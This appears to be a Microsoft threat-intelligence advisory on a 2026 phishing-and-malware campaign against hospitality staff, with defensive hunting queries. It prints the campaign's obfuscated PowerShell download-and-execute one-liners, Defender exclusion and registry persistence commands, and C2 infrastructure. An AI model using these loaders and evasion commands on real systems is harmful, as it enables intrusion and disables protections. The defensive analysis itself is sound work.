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Microsoft Threat Intelligence has identified an active multi-stage intrusion campaign targeting organizations in the hospitality and hotel industry since April 2026. We’ve observed this activity through aggregated threat intelligence and security signals across multiple organizations in Europe and Asia. Microsoft has not attributed this campaign to a known threat actor. 

The campaign uses photo-themed ZIP archives that the target users download through the browser. These archives contain fake image shortcut files that, when launched, start an attack chain that relies on obfuscated PowerShell, a Node.js-based implant, dual registry persistence, and command-and-control (C2) communications over non-standard ports. As of this writing, the campaign’s post-compromise activities include C2 beaconing, forced shutdowns, and compilation of portable executable (PE) payloads. While the campaign’s ultimate objective remains unclear, we assess that the threat actor’s investment in ensuring obfuscation and persistence could indicate that they’re preparing the victim devices for more follow-on activities. 

In late May 2026, we observed the threat actor misusing legitimate services—including the cloud-based scheduling platform Calendly’s email notification infrastructure and Google’s URL redirect functionality—to deliver phishing emails with multilingual lures and subject lines (for example, guest complaints and room inquiries) designed to convince hospitality staff to open the embedded malicious link and download the ZIP archive. These phishing emails attempt to bypass conventional authentication checks through a technique we describe as authentication laundering: by routing phishing messages through a trusted service’s sending infrastructure, the threat actor can make malicious messages appear similar to legitimate notifications to email authentication defenses. 

We’ve observed the campaign evolving in two distinct waves. The first wave (hereinafter referred to as Wave 1) used shortcut files named IMG-<random numbers>.png.lnk, while the second one (Wave 2) introduced a naming shift to PHOTO-<random numbers>.png.lnk. Wave 2 also introduced a new attack chain stage in which the PowerShell downloader triggered dynamic .NET DLL compilation through csc.exe, and the actor expanded its domain infrastructure to include .cfd domains hosted behind Cloudflare. 

This blog summarizes the campaign’s Wave 1 and Wave 2 attack chains and provides Microsoft Defender detections and recommendations. It’s intended to share threat intelligence to help organizations better understand, identify, and defend against similar attack techniques. The activity described reflects observed patterns and behaviors and is provided to support defensive security efforts. 

Attack chain overview

Figure 1. Assessed attack chain for the Node.js photo ZIP/LNK campaign showing both Wave 1 and Wave 2 stages.

The campaign follows a multi-stage attack chain with limited variation in overall behavior, even as the actor changed its PowerShell obfuscation and delivery refinements between waves.  

Initial access and user execution 

The campaign begins with delivery of a browser-downloaded archive with a file name that uses the pattern photo-<random numbers>.zip. In one observed activity, links to these archives were delivered through phishing emails. We assess that this file naming convention was designed to appear ordinary yet relevant to hospitality workflows, which commonly exchange guest photos, reservation-related images, or document snapshots. 

In Wave 1, the archive contained a fake image shortcut named IMG-<random numbers>.png.lnk, which masqueraded as a PNG file while remaining executable content. In Wave 2, the threat actor introduced a naming shift to PHOTO-<random numbers>.png.lnk (uppercase PHOTO prefix). Successful execution depended on a target user opening what appeared to be an image. 

The following table lists representative delivery artifacts observed across impacted environments in both campaign waves. The file sizes of the LNK files consistently fell within 1,989 to 2,079 bytes, suggesting the same builder tool. 

LNK file Source archive Wave 
IMG-805916584.png.lnk C:\Users\[REDACTED]\Downloads\photo-961032103.zip 
IMG-421741673.png.lnk C:\Users\[REDACTED]\Downloads\photo-818773648.zip 
IMG-223099041.png.lnk C:\Users\[REDACTED]\Downloads\photo-716449357.zip 
IMG-386443483.png.lnk Browser download 
PHOTO-215746435.png.lnk Browser download 

Observed LNK and ZIP naming patterns across both campaigns. 

Observed victim device naming patterns, including reception- and front office-associated systems and hotel-named devices, confirm the threat actor’s focus on staff likely to interact with image or document attachments as part of day-to-day operations. Some of the user account names observed across impacted environments include the following strings, which refer to words in different languages such as English, French, Polish, Czech, and Spanish:  

  • reception 
  • frontdesk 
  • reservations 
  • accueil  
  • recepcja 
  • recepce 
  • frontoffice  

Phishing infrastructure: Authentication laundering through legitimate services 

Beginning late May 2026, we observed that this campaign’s initial access mechanism also abuses legitimate web services to bypass email authentication controls and obscure the true destination of phishing links. This observation aligns with the previously published findings by other security researchers. 

The threat actor uses Calendly’s email notification system and Google’s URL redirect functionality to construct a multi-hop delivery chain in which the direct Calendly path passes Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and Domain-based Message Authentication, Reporting, and Conformance (DMARC) checks. 

Figure 2. Phishing redirect flow.

Lure themes and language targeting 

The sender display name across all observed emails is “Booking Manager (via Calendly),” a social engineering choice that appears designed to exploit hospitality staff’s familiarity with booking and scheduling workflows. 

Across the relayed messages, Microsoft observed the following small set of recurring social-engineering themes delivered in Japanese, Danish, and Dutch:  

  • Guest complaints 
  • Bedbug (Cimex) infestation reports 
  • Verification call notices 
  • Room condition inquiries 
  • Stay review requests 

These lures are deliberately generic and non-personalized: every subject references an anonymous “guest,” “facility,” or “your accommodation,” and none contains a recipient name, guest name, or organization name. This is consistent with high-volume, list-driven distribution rather than tailored spear-phishing. The threat actor relies on urgency and reputational pressure (complaints, “final warning,” health-authority inspection, possible suspension) to drive target hospitality staff to click. 

Language Canonical lure (theme) 
Japanese Serious guest complaint 
Japanese Bedbug complaint, verification call 
Japanese Guest stay review request  
Japanese Room condition, facility inquiry 
Japanese Final warning: infestation, forced inspection 
Danish Bedbug complaint, inspection call 
Danish Formal complaint, notice of suspension 
Danish Health-risk safety alert 
Dutch Complaint: possible danger, hospitalization after stay 

Phishing lure themes by language, listed by observed prevalence. 

The threat actor reuses the same themes across all three languages, with Japanese as the most prevalent. Notably, unfilled template placeholders—such as a literal ID token in the Danish variant—appeared in some subjects, indicating automated, templated generation. 

Use of Calendly notification infrastructure as a phishing relay 

The threat actor uses a threat actor-controlled Calendly account associated with the subdomain em1618.calendly.com to relay phishing emails to hospitality targets. Authentication results differ by delivery path. 

Authentication Check Result Why 
SPF Pass Email sent from authorized service 
DKIM Pass Signed by Calendly’s SendGrid sending infrastructure  
DMARC Pass Alignment on calendly.com domain 
Composite authentication (CompAuth) Pass All checks align 

Authentication results for emails sent through the direct Calendly path. The checks pass because the messages are sent through authorized Calendly-associated sending infrastructure; this does not validate the intent or safety of the message content. 

This technique, which we describe as authentication laundering in this context, exploits the trust model of email authentication. SPF, DKIM, and DMARC verify that an email was sent from authorized infrastructure for a given domain. When the sending domain is a legitimate service and the threat actor controls the message content, these checks confirm the sender is authorized while saying nothing about the intent of the message. 

Multi-hop redirect chain 

Each phishing email contains a Calendly redirect URL that initiates a multi-hop chain intended to obscure the final destination from users and automated URL analysis. The embedded Calendly link routes victims through a four-hop chain before reaching the payload: 

  • Step 1: calendly[.]com/url?q=hxxps://share[.]google/TOKEN → HTTP 302 
  • Step 2: share[.]google/TOKEN → HTTP 302 
  • Step 3: www.google[.]com/share_google?q=TOKEN → HTTP 301 
  • Step 4: photo-*[.]cfd → Phishing landing page (Cloudflare challenge gate) 

Calendly’s Link Safety Service interstitial (url?q=) was used as the first hop and Google’s share[.]google redirect as the second. The final .cfd landing pages were freshly registered (for example, photo-26654[.]cfd was 17 days old at the time of analysis), Cloudflare-fronted, and gated behind a Cloudflare Turnstile (“verify you are human”) challenge that doubles as an anti-analysis and geo-gating mechanism before serving the photo-themed ZIP. 

Microsoft assesses that this redirect architecture serves multiple evasion purposes: 

  • Fragmentation of URL reputation: No single URL in the chain is inherently malicious at the time of delivery 
  • Abuse of Google’s open redirect: The share.google → NULLwww.google.com/share_google redirect leverages Google infrastructure, adding trusted reputation to the chain 

The threat actor maintains a second delivery variant that bypasses the share.google intermediate step, linking directly from a Calendly redirect URL to the phishing domain (calendly[.]com/url?q=photo-*[.]cfd). Microsoft observed that both variants are active simultaneously, with the same Calendly user UUIDs appearing across both paths. This supports the assessment that a single operator is managing the parallel delivery mechanisms. 

PowerShell-based first stage 

Once the malicious shortcut is opened, the next-stage payload invokes PowerShell and launches an obfuscated BigInt decoder. Across the campaign, the PowerShell stage consistently decodes data and then downloads an additional .ps1 file. Microsoft observed a repeating pattern of BigInt decoder →  Invoke-WebRequest.ps1. The full obfuscation evolution across seven phases is detailed in the Obfuscation evolution section of this blog. 

The decoded URL points to the campaign’s download domains. In the validated chain, the .ps1 file is retrieved from the photo-*.cfd landing domain 

.NET DLL compilation (Wave 2) 

In Wave 2, we observed a new intermediate stage between the PowerShell download and Node.js deployment. The downloaded .ps1 script triggers dynamic .NET compilation through csc.exe (the C# compiler), which in turn invokes cvtres.exe (the resource-to-object converter). This sequence produces small DLL files with random names.  

Representative observed artifacts: 

Artifact Details 
PowerShell script qFWe908J.ps1 ( Size 419 KB) 
Compiled DLL bjygtujc.dll Size 3,072 bytes) 

csc.exe → cvtres.exe → <random>.dll (3,072 bytes) 

Figure 2. Wave 2 .NET DLL compilation chain. The compiled DLL was created but wasn’t observed being loaded through rundll32 or regsvr32 in available telemetry. This stage might be preparatory or conditional. 

Microsoft assesses that this stage wasn’t present in Wave 1 and represents an expansion in the attack chain. 

Script staging and Node.js implant deployment 

After decoding and retrieval, the downloaded PowerShell script runs from the %TEMP% folder. This staging step appears to be transitional rather than final, enabling subsequent download or launch of the campaign’s Node.js component.  

We observed the next step as execution of node.exe from a user-space path. The Node runtime version observed across both waves is node-v24.13.0-win-x64 (SHA-256: d14ba95cdce1ef7dc9ad3ac74949ca5db38b27378ee30f30a23cf26f9e875a11, 89.9 MB – downloaded from the legitimate nodejs[.]org site).  

Figure 3 shows representative observed command lines: 

"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\E2HPVoYGA77RECeb.js safedocphoto[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\jVXvdhxNfcqHuSf.js recallnine[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\c4yCFRzE.js kentjerk[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\FfXznFDs8.js photodoc-secure[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\f76qtHrP.js kelopins[.]info

Figure 3. Node.js implant execution with random JavaScript filenames and C2 domain arguments. 

The Node.js runtime functions as the interpreter for the implant’s .js payloads. Microsoft assesses that placing the runtime in a user-writable location could help the threat actor avoid dependencies on a system-installed Node.js binary while also supporting repeated payload reuse across different filenames. Hash reuse across distinct filenames confirms reuse of the same binaries, reinforcing the assessment that the threat actor prioritizes operational repeatability. 

The Node.js implant also establishes its own persistence by spawning PowerShell to create a detached, hidden child process: 

powershell.exe -c "$code = \"require('child_process').spawn(process.execPath, 
  ['C:\\Users\\[REDACTED]\\AppData\\Local\\Nodejs\\.js'], 
  {detached: true, stdio: 'ignore', windowsHide: true}).unref()\"; 
  $command = ... 

Figure 4. Node.js persistence mechanism using child_process.spawn with detached and windowsHide flags. 

Defense evasion and payload execution 

Once the Node.js component is established, the campaign modifies Defender settings by using Add-MpPreference -ExclusionProcess for temporary-path executables. We assess that this exclusion step is intended to reduce inspection of follow-on binaries located in AppData\Local\Temp. Figure 5 shows representative observed exclusion commands: 

powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\utramdJQjRMJ.exe\"" 
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\YEg9nfBg3QG4.exe\"" 
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\57AVjhcz6vL0c.exe\"" 
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\sDNud94J7WVDN.exe\"" 

Figure 5. Defender process exclusions added for randomly named EXE files seconds before their execution. 

These excluded random EXE files in AppData\Local\Temp are then launched, followed by helper .tmp installers or unpackers that used names matching is-*.tmp and commonly ran with /SL5 or /VERYSILENT. This combination suggests a deployment chain in which the Node.js implant stages additional binaries, then launches installer-like helpers to unpack or execute the next payload. Microsoft assesses that the .tmp convention and silent-install flags are likely chosen to minimize user awareness while also obscuring the actual payload family. 

ProgramData relocation and persistence 

Observed payloads are then copied into C:\ProgramData\<random>\<payload>.exe. Lowercase copies with the same hash appear under different filenames, which is consistent with repackaging or relocation for stability rather than recompilation. Figure 6 shows representative observed ProgramData paths from the campaign: 

C:\ProgramData\FFXjwKn\fehqf5oo.exe 
C:\ProgramData\PEIEZlD\qulcp452eb9.exe 
C:\ProgramData\YXbwfua\e6kz1ruadskkk.exe 
C:\ProgramData\PsrOqKF\vl8daccehg.exe 
C:\ProgramData\riloNEK\s8bpfaee.exe 
C:\ProgramData\JMSVrLU\choffgpa.exe 

Figure 6. ProgramData relocation paths with randomized folder names and lowercase payload filenames. 

The persistence model used in this campaign is especially notable. We observed a dual mechanism in which HKCU\RunOnce pointed to the ProgramData executable while HKCU\Run pointed to the Node.js component. Figure 7 shows a representative registry persistence command: 

cmd /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" 
  /v "zZBPZPuA" /t REG_SZ /d "C:\ProgramData\FFXjwKn\fehqf5oo.exe" /f 

Figure 7. Registry RunOnce persistence pointing to ProgramData payload with randomized value name. 

The RunOnce behavior is particularly unusual because the payload refreshes its own persistence after each execution, effectively creating a RunOnce loop. Microsoft assesses that this design might have been intended to complicate cleanup by repopulating an entry that defenders might otherwise treat as one-time execution. 

Command and control 

In later stages of the campaign, compromised systems beacons to fixed IP infrastructure over non-standard ports including: 

  • 8443 
  • 8445 
  • 8453 
  • 5555 
  • 56001 
  • 56002 
  • 56003  

We observed the campaign expanding its C2 infrastructure between waves: 

Wave 1 IPs: 

  • 178.16.54[.]27 
  • 95.217.97[.]121 
  • 193.202.84[.]32 
  • 178.16.55[.]179 

The IP address 178.16.54[.]27 remains active on ports 56001/56002 across both waves. 

We also observed numerous unique domains themed around photos, documents, visas, safes, and vaults, spanning top-level domains (TLDs) such as the following: 

  • .info 
  • .com 
  • .pro 
  • .xyz 
  • .cloud 
  • .icu 
  • .sbs 
  • .click 
  • .bond 
  • .cfd (Wave 2) 

Wave 2 introduced Cloudflare-hosted .cfd domains following a photo-<random numbers> naming convention: 

  • photo-26254[.]cfd 
  • photo-26654[.]cfd 
  • photo-132454[.]cfd 
  • photo-8632454[.]cfd 

The domain sec-safe-dc[.]info was observed active in both waves, further supporting the assessment of a single continuous campaign. 

Obfuscation evolution 

A defining characteristic of this campaign is its steady but disciplined obfuscation evolution. Microsoft observed seven PowerShell obfuscation phases over the course of the campaign, but the underlying logic remained consistent: decode embedded data through arithmetic operations, recover the next-stage content, and retrieve a PowerShell script that runs from the %TEMP% folder. This pattern suggests that the threat actor is iterating for durability against static detections rather than experimenting with entirely new tradecraft. 

Figure 8. PowerShell obfuscation evolution across six observed phases (April–May 2026).

Phase 1: XOR bigint decoding

Early samples rely on XOR arithmetic, using two large integers and a -bxor operation, followed by byte masking and shifting. The following is a representative observed command line: 

powershell.exe -ep bypass -c "$k=[bigint]\"2004985473718821432817707887657617\"; 
$w=[bigint]\"278573358569528286847653191217377\";$o=$k -bxor $w; 
while($o -ne 0){$g+=[char]([int]($o -band 0xFF));$o=$o -shr 8}; 
iwr $g -OutFile $env:TEMP\eRJGv.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\eRJGv.ps1" 

Figure 9. Phase 1 PowerShell downloader using XOR-based bigint decoding with -bxor, -band 0xFF, and -shr 8. 

Phase 2: Subtraction replaces XOR

Microsoft then observed the threat actor swapping XOR logic for subtraction while keeping the rest of the decoder identical. This change bypasses detections anchored on -bxor

powershell.exe -ep bypass -c "$i=[bigint]\"1568015162836542885394310232785365293\"; 
$y=[bigint]\"989592658109712364469795296253690811\";$r=$i - $y; 
while($r -ne 0){$m+=[char]([int]($r -band 0xFF));$r=$r -shr 8}; 
iwr $m -OutFile $env:TEMP\VJksAkfp.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\VJksAkfp.ps1"

Figure 10. Phase 2 variant replacing -bxor with subtraction while preserving the same decoding structure. 

Phase 3: Hexadecimal to decimal substitution

The decoder then shifts from -band 0xFF to -band 255. Although functionally equivalent (0xFF = 255), this change is consistent with a threat actor testing whether surface-level constant changes could degrade signature reliability: 

powershell.exe -ep bypass -c "$e=[bigint]\"1080978693158786688289132234139422058835788841232\"; 
$l=[bigint]\"444996423444240363171355535687083720697400778653\";$w=$e - $l; 
while($w -ne 0){$j+=[char]([int]($w -band 255));$w=$w -shr 8}; 
iwr $j -OutFile $env:TEMP\ymqMj.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\ymqMj.ps1" 

Figure 11. Phase 3 variant replacing 0xFF with decimal 255. 

Phase 4: Arithmetic masking

Masking expressions are further transformed into arithmetic forms that evaluate to the same constant. This variation prevents simple string matching on either 0xFF or 255: 

powershell.exe -ep bypass -c "$e=[bigint]\"988466760738254167909712279829942477\"; 
$y=[bigint]\"352542850680807474382013127968401501\";$i=$e - $y; 
while($i -ne 0){$b+=[char]([int]($i -band (177+78)));$i=$i -shr 8}; 
iwr $b -OutFile $env:TEMP\23QbL.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\23QbL.ps1"

Figure 12. Phase 4 variant hiding the byte mask behind arithmetic expressions such as (177+78). 

Other observed arithmetic masks included -band (100+155) and -band 128+127, all resolving to 255. 

Phase 5: Modulo and division

Later samples replace the bit-shift model entirely, switching from -band and -shr to modulo and division operations: 

powershell.exe -ep bypass -c "$s=[bigint]\"28248557062916408148263140002288993200489702\"; 
$o=[bigint]\"18544237761852163685406436002210545666450291\";$e=$s - $o; 
while($e -ne 0){$x+=[char]([int]($e -band (255)));$e=$e -shr 8}; 
iwr $x -OutFile $env:TEMP\PVtvOP40.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\PVtvOP40.ps1"

Figure 13. Phase 5 transitional variant; later samples in this phase fully replaced -band/-shr with % 256 and / 256. 

Phase 6: Syntax diversification and randomization

The threat actor adopts “num” -as [bigint] casting syntax, introduces long random variable names, and uses modulo/division for byte extraction. The combined effect makes each sample visually distinct despite identical logic: 

powershell.exe -ep bypass -c "$zGjEc0LINYdefj=\"25908558764390958596189327204542\" -as [bigint]; 
$MyL4evU3=256; 
$GqA4xFav=\"17082531775760189576112827972435\" -as [bigint]; 
$XwcU0kg87CFgqe5=$zGjEc0LINYdefj - $GqA4xFav; 
while($XwcU0kg87CFgqe5 -ne 0){ 
  $qy8gWy4FONBaCV+=[char]([int]($XwcU0kg87CFgqe5 % $MyL4evU3)); 
  $XwcU0kg87CFgqe5=$XwcU0kg87CFgqe5 / $MyL4evU3}; 
iwr $qy8gWy4FONBaCV -OutFile $env:TEMP\.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\.ps1"

Figure 14. Phase 6 variant using -as [bigint] syntax, long randomized variable names, and modulo/division decoding. 

Phase 7: For-loop variant with arithmetic mask (Wave 2)

The most recent observed phase introduces a for-loop iteration model with an arithmetic mask using a variable set to 100+156 (=256) and -as [bigint] casting. This is a natural evolution of Phase 6’s syntax diversification, further altering the control flow structure while preserving the same underlying decode-and-download behavior: 

powershell.exe -ep bypass -c "$IcZWdT=100+156; 
$=\"\" -as [bigint]; 
$=\"\" -as [bigint]; 
$=$ - $; 
for($i=0; $ -ne 0; $i++){ 
  $+=[char]([int]($ % $IcZWdT)); 
  $=[bigint]($ / $IcZWdT)}; 
iwr $ -OutFile $env:TEMP\.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\.ps1"

Figure 15. Phase 7 variant (Wave 2) introducing a for-loop with arithmetic mask $IcZWdT=100+156 and -as [bigint] casting. 

This seven-phase evolution demonstrates a threat actor that monitors or anticipates detection pressure. The campaign doesn’t pivot away from PowerShell or Node.js; instead, it repeatedly re-skins a working loader. For defenders, this means purely literal detections on isolated operators, constants, or variable names might age quickly, while behavior-based detections anchored on the full sequence—shortcut execution, PowerShell decode, %TEMP% staging, Node.js from user space, Defender exclusions, and ProgramData persistence—are likely to remain more resilient. 

Campaign evolution 

Microsoft assesses that the observable differences between Wave 1 and Wave 2 represent a deliberate operational evolution by the same threat actor. The following cross-wave correlations support this assessment: 

Evidence of a single continuous campaign 

Indicator Wave 1 (April to May 2026) Wave 2 (Late May to June 2026) Assessment 
PE payload hash (xmnrwv9l.exe) 04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1 Same hash observed Same payload binary 
C2 IP 178.16.54[.]27 Same IP, ports 56001/56002 Same infrastructure 
Node.js version v24.13.0-win-x64 v24.13.0-win-x64 Same runtime 
Domain sec-safe-dc[.]info Active in both waves Shared domain 
C2 ports 56001, 56002, 56003 56001, 56002 Same non-standard port pattern 

Cross-wave artifact overlaps demonstrating a single continuous campaign. 

What changed between waves 

Dimension Wave 1 (April to May 2026) Wave 2 (Late May to June 2026) 
LNK naming IMG-<random numbers>.png.lnk PHOTO-<random numbers>.png.lnk 
ZIP contents LNK only LNK (PHOTO- prefix) 
Attack chain PowerShell → Node.js PowerShell → csc.exe/cvtres.exe → DLL → Node.js 
Obfuscation Phases 1–6 Phase 7 (for-loop variant) 
Domain TLDs .info, .com, .pro, .xyz, .cloud, .icu, .sbs Added .cfd, .click, and .bond 
Infrastructure Direct hosting Cloudflare-fronted .cfd domains 
C2 domains Photo, document, and visa themes Added zloapobikahy23[.]bond, higoksbupwou[.]com, aluminiostramuntana[.]com 

Summary of campaign evolution from Wave 1 to Wave 2. 

Microsoft assesses that these changes reflect operational maturation rather than a shift in objectives. The threat actor expanded evasion (DLL compilation, Cloudflare fronting) and broadened targeting—all while maintaining the same core attack chain and reusing key infrastructure. 

Persistence survival analysis 

One of the significant findings from Wave 2 is the demonstrated resilience of the dual persistence model under active Defender intervention. 

On a confirmed compromised device, Defender detected and blocked one PE payload (xmnrwv9l.exe, SHA-256: 04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1) with Wacatac detections. Despite that block, the Node.js HKCU\Run key persistence remained active. Approximately two days later, the Node.js implant reactivated and resumed C2 communications to new domains. 

Following the initial block, Microsoft observed additional /VERYSILENT EXEs deployed on the same device: 

cBA8H4S5k04jAY.exe 
eaa3q8BQZcnIOV.exe 
BaUWXagH4CGZS.exe 
CJE4domtVFM9LX.exe

Figure 18. Additional payload EXEs deployed after Defender blocked the initial PE, demonstrating the implant’s ability to retry delivery through the surviving Node.js persistence. 

This sequence highlights a remediation consideration: the dual persistence model (RunOnce for the PE payload + Run for Node.js) means that blocking one execution path might not fully neutralize the other. The Node.js implant, if it remains active, can re-download and re-attempt payload delivery. Microsoft assesses that complete remediation of this campaign requires removal of both persistence mechanisms—the ProgramData RunOnce entry and the Node.js Run key—along with the Node.js runtime and associated .js files from the user’s AppData\Local\Nodejs\ directory. 

Figure 16. Persistence and C2 architecture-dual registry keys, persistence survival, and post-compromise.

Post-compromise activity 

Microsoft observed a subset of devices reaching clear late-stage post-compromise behavior. On multiple devices, the activity progressed to active C2 beaconing, browser automation with –headless –no-sandbox flags, and environment lookups. Based on the command-line pattern alone, Microsoft assesses that the threat actor likely used automated browser execution rather than manual interactive browsing on those hosts. 

The campaign also performed an environment lookup using ip-api[.]com, observed through 208.95.112[.]1. This behavior is consistent with gathering external network context before continuing operations. Microsoft assesses that this lookup might have helped the operator understand geographic or connectivity attributes of the compromised device environment. 

A final disruptive behavior involved forced shutdown through cmd /c shutdown -s -t 0, observed on multiple devices. Microsoft assesses that immediate shutdown could have served several purposes depending on the host context: interruption of user activity, reduction of defender response time during a specific stage, or concealment of visible symptoms after automated browser tasks or payload launches completed. 

The persistence design itself is a meaningful post-compromise observation. The combination of a durable Node.js launch point in HKCU\Run and a repeatedly refreshed ProgramData payload through HKCU\RunOnce suggests an effort to maintain execution options across user sign-ins while also preserving a secondary recovery path. This RunOnce loop is unusual enough that it might provide defenders with a strong hunting pivot even when file names, domains, or script syntax change. 

Mitigation and protection guidance

Organizations in hospitality and adjacent service industries should prioritize layered detections for this campaign’s behavior sequence rather than any single indicator. Microsoft recommends the following actions based on the observed attack chain: 

  1. Treat photo-themed ZIP archives and fake image shortcuts as high risk. Investigate browser-downloaded archives matching photo-<random numbers>.zip and shortcut files matching IMG-<random numbers>.png.lnk or PHOTO-<random numbers>.png.lnk, especially when they’re followed by PowerShell or script interpreter launches. Learn more about attack surface reduction rules 
  1. Harden and monitor PowerShell execution. Because the campaign repeatedly used obfuscated BigInt arithmetic across seven phases, defenders should prioritize PowerShell activity that includes unusual combinations of BigInt casting, subtraction or XOR decode logic, byte masking, modulo or division byte extraction, for-loop decode patterns, and subsequent Invoke-WebRequest behavior. Learn more about PowerShell constrained language 
  1. Monitor for unexpected .NET compilation. The appearance of csc.exe spawning cvtres.exe and producing small DLLs in user-writable paths, especially when initiated by PowerShell scripts from %TEMP%, is unusual in hospitality environments and should be investigated. 
  1. Investigate Node.js execution from user-space paths. node.exe running from C:\Users\<user>\AppData\Local\Nodejs\ with a random .js file and domain argument is unusual in many enterprise environments. Microsoft recommends reviewing whether Node.js is expected on reception, front office, or similarly targeted systems. 
  1. Alert on Defender exclusion changes tied to temporary executables. Add-MpPreference -ExclusionProcess aligned to %TEMP% or AppData\Local\Temp should be treated as suspicious when associated with shortcut-driven or script-driven execution chains. Learn more about tamper protection .
  1. Hunt for random EXE launches from temporary paths and helper .tmp installers. The campaign uses numerous unique temporary executable filenames and helper is-*.tmp files with /SL5 or /VERYSILENT. These patterns are likely more durable than individual filenames. 
  1. Review persistence in both HKCU\Run and HKCU\RunOnce. Pay particular attention to values that launch node.exe from user directories or reference executables under C:\ProgramData\<random>\. Because the campaign refreshes RunOnce, repeated recreation of that value might be a strong signal. Critically, both keys must be removed during remediation—removing only the RunOnce entry leaves the Node.js implant active. 
  1. Monitor network connections on the observed non-standard ports. Outbound traffic to 8443, 8445, 8453, 5555, 56001, 56002, and 56003, especially when initiated by node.exe or executables from user profile and temporary paths, should be reviewed promptly. 
  1. Block or alert on .cfd domains matching the campaign pattern. Wave 2 domains follow a photo-<digits>[.]cfd naming convention. Organizations should consider blocking these patterns and monitoring for DNS queries to recently registered .cfd domains. 
  1. Investigate browser automation and forced shutdown patterns. The combination of –headless –no-sandbox and cmd /c shutdown -s -t 0 might indicate late-stage execution on selected hosts. 
  1. Use sector-aware hunting. Because Microsoft observed concentration in hospitality and hotel environments across multiple countries, organizations should review devices associated with front desk, reservation, reception, and guest-facing workflows first. 

Microsoft Defender XDR detections 

Microsoft assesses that Microsoft Defender coverage for this campaign is most effective when it combines process, registry, file, and network telemetry rather than relying on blocking individual indicators of compromise (IOCs). 

TonRAT is the campaign’s implant family (validated on the dropped .ps1 and .js payloads). “Wacatac” and “PureRat” are Microsoft Defender detection names that fire on specific binaries in the attack chain (the LNK or PE payload and the ProgramData persistence executable, respectively). 

Beyond signature-based prevention, Microsoft Defender can surface this campaign through behavioral detections, including alerts such as Suspicious Node.js child process execution and Node.js Hidden RunKey Persistence, which are designed to identify implant activity even as file names, domains, and script syntax change. 

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.  

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.  

Tactic Observed activity Microsoft Defender coverage 
Initial access Photo-themed ZIP with fake image LNK Microsoft Defender for Endpoint 
Trojan:Win32/Wacatac prevented 
Execution Obfuscated PowerShell BigInt decoder downloads a .ps1 dropper Microsoft Defender for Endpoint 
Suspicious PowerShell command line

Microsoft Defender Antivirus 
TrojanDropper:PowerShell/TonRAT 
Node.js runs the decrypted malicious JavaScript implant Microsoft Defender for Endpoint 
Suspicious Node.js child process execution
 
Microsoft Defender Antivirus 
Trojan:JS/TonRAT 
Persistence Dual Run/RunOnce registry keys (Node.js + ProgramData EXE) Microsoft Defender for Endpoint 
Anomaly detected in ASEP registry Node.js Hidden Run‑Key Persistence

Microsoft Defender Antivirus 
Trojan:Win32/PureRat 

Microsoft Security Copilot 

Microsoft Security Copilot customers can use the following prebuilt promptbooks to support investigation and response for activity related to this campaign: 

  • Incident investigation: Summarize incidents and triage alerts related to Node.js persistence, PowerShell decode chains, and registry modification.
  • Microsoft User analysis: Profile compromised hospitality accounts (reception, frontdesk, reservations) for scope assessment.

Advanced hunting queries 

Microsoft Defender XDR 

NOTE: The following sample queries lets you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential related indicators for more than a week, go to the Advanced Hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.     

Fake image shortcut execution (both LNK naming patterns) 

This query identifies execution of shortcut files matching the campaign’s photo-themed LNK naming convention across both Wave 1 and Wave 2 patterns. 

DeviceProcessEvents 
| where FileName =~ "explorer.exe" or FileName =~ "cmd.exe" or FileName =~ "powershell.exe" 
| where ProcessCommandLine has ".lnk" 
| where ProcessCommandLine has_any ("IMG-", "PHOTO-") and ProcessCommandLine has ".png.lnk" 
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Node.js implant execution from user-space paths 

This query identifies Node.js execution from the campaign’s characteristic AppData\Local\Nodejs\ staging path with JavaScript payload arguments. 

DeviceProcessEvents 
| where FileName =~ "node.exe" 
| where FolderPath has @"\AppData\Local\Nodejs\" 
| where ProcessCommandLine has ".js" 
| project Timestamp, DeviceName, FolderPath, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

.NET DLL compilation from PowerShell-downloaded scripts (Wave 2) 

This query detects the Wave 2 attack chain expansion where PowerShell scripts trigger dynamic .NET compilation through csc.exe.

DeviceProcessEvents 
| where FileName in~ ("csc.exe", "cvtres.exe") 
| where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe") 
    or InitiatingProcessFolderPath has @"\AppData\Local\Temp\" 
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Defender process exclusions followed by Temp execution 

